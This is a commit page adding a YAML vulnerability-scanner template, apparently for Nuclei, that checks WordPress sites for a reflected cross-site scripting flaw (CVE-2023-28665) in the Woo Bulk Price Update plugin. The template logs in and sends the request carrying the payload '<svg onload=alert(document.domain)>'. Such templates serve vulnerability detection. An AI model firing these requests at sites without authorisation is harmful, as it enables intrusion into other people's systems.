Merge pull request #7707 from harsh2403/patch-17

Create CVE-2023-28665.yaml
patch-1
Dhiyaneshwaran 2023-07-18 13:10:55 +05:30 committed by GitHub
commit 2791b323e6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 41 additions and 0 deletions

View File

@ -0,0 +1,41 @@
id: CVE-2023-28665
info:
name: Woo Bulk Price Update <2.2.2 - Cross-Site Scripting
author: Aaban SOlutions,harsh
severity: medium
description: |
The Woo Bulk Price Update WordPress plugin, in versions < 2.2.2, is affected by a reflected cross-site scripting vulnerability in the 'page' parameter to the techno_get_products action, which can only be triggered by an authenticated user.
remediation: Fixed in version 2.2.2
reference:
- https://wpscan.com/vulnerability/6f70182c-0392-40eb-a5b9-4ff91778e036
- https://nvd.nist.gov/vuln/detail/CVE-2023-28665
classification:
cve-id: CVE-2023-28665
metadata:
max-request: 2
verified: true
tags: cve,cve2023,wordpress,wp,wp-plugin,wpscan,xss,authenticated,woo-bulk-price-update
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin-ajax.php?action=techno_get_products&page=<svg%20onload=alert(document.domain)> HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(all_headers_2, "text/html")'
- 'contains(body_2, "<svg onload=alert(document.domain)>")'
- 'contains(body_2, "pagination\":")'
condition: and